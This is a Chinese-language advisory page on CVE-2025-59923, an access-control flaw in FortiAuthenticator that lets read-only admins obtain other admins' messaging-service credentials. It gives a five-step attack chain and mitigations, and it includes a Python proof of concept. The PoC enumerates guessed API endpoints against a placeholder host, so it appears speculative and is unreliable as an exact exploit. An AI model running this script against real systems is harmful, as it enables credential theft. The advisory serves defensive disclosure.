IPBUF安全漏洞报告
English
CVE-2025-59923 CVSS 2.7 低危

CVE-2025-59923 FortiAuthenticator 访问控制不当漏洞

披露日期: 2025-12-09

漏洞信息

漏洞编号
CVE-2025-59923
漏洞类型
访问控制不当
CVSS评分
2.7 低危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Fortinet FortiAuthenticator

相关标签

访问控制FortiAuthenticatorFortinet凭据泄露权限绕过IDORCVE-2025-59923

漏洞概述

CVE-2025-59923是Fortinet FortiAuthenticator中存在的一个访问控制不当漏洞。该漏洞影响FortiAuthenticator 6.6.0至6.6.6版本、6.5所有版本、6.4所有版本以及6.3所有版本。漏洞允许已认证的攻击者(至少具有只读管理员权限)通过精心构造的请求获取其他管理员的 messaging services 凭据。由于攻击者只需要最低只读管理员权限即可利用此漏洞,因此大大降低了攻击门槛。CVSS评分仅为2.7,属于低危级别,但仍可能导致敏感凭据信息泄露,对系统安全性构成潜在威胁。攻击者利用此漏洞可获取其他管理员的凭据信息,可能用于进一步横向移动或权限提升攻击。

技术细节

该漏洞属于不安全的直接对象引用(IDOR)或访问控制配置缺陷类型。在FortiAuthenticator的API或Web界面中,系统未能正确验证当前认证用户是否有权访问其他管理员的messaging services凭据数据。具体来说,当具有只读管理员权限的用户发起针对特定资源ID的请求时,系统直接返回了该资源关联的其他管理员凭据信息,而未进行充分的权限校验。攻击者可以通过遍历资源ID或分析API响应来获取其他管理员的敏感凭据数据。这种访问控制缺陷使得低权限用户能够访问本应仅限高权限管理员查看的敏感信息,可能导致凭据泄露和后续攻击。

攻击链分析

STEP 1
步骤1
攻击者获取FortiAuthenticator系统的只读管理员账户凭据
STEP 2
步骤2
使用认证会话访问messaging services相关API端点
STEP 3
步骤3
通过遍历资源ID或直接访问其他管理员的messaging配置端点
STEP 4
步骤4
系统返回其他管理员的messaging services凭据信息,绕过访问控制检查
STEP 5
步骤5
攻击者获取敏感凭据后,可用于横向移动或进一步权限提升

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-59923 PoC - FortiAuthenticator Access Control Bypass # Requires authenticated session with read-only admin privileges import requests import json TARGET = "https://target-fortiauthenticator.example.com" USERNAME = "readonly_admin" PASSWORD = "password" def login(): """Authenticate and obtain session cookie""" session = requests.Session() login_url = f"{TARGET}/login" data = {"username": USERNAME, "password": PASSWORD} response = session.post(login_url, data=data, verify=False) return session if response.status_code == 200 else None def exploit(session): """Attempt to retrieve other admin messaging credentials""" # Enumerate messaging service endpoints endpoints = [ f"{TARGET}/api/v1/messaging/services", f"{TARGET}/api/v1/admin/messaging", f"{TARGET}/api/v1/settings/messaging" ] results = [] for endpoint in endpoints: response = session.get(endpoint, verify=False) if response.status_code == 200: data = response.json() results.append({"endpoint": endpoint, "data": data}) return results if __name__ == "__main__": session = login() if session: print("Login successful, attempting exploitation...") creds = exploit(session) print(json.dumps(creds, indent=2)) else: print("Authentication failed")

影响范围

FortiAuthenticator 6.3 所有版本
FortiAuthenticator 6.4 所有版本
FortiAuthenticator 6.5 所有版本
FortiAuthenticator 6.6.0 - 6.6.6

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 限制只读管理员账户的创建和分配,仅授予必要人员;2) 启用详细的审计日志功能,监控对messaging services的访问行为;3) 使用网络分段限制对FortiAuthenticator管理接口的访问;4) 定期更改管理员账户密码,特别是messaging服务相关凭据;5) 监控NAC/FortiGate等关联设备的异常认证行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表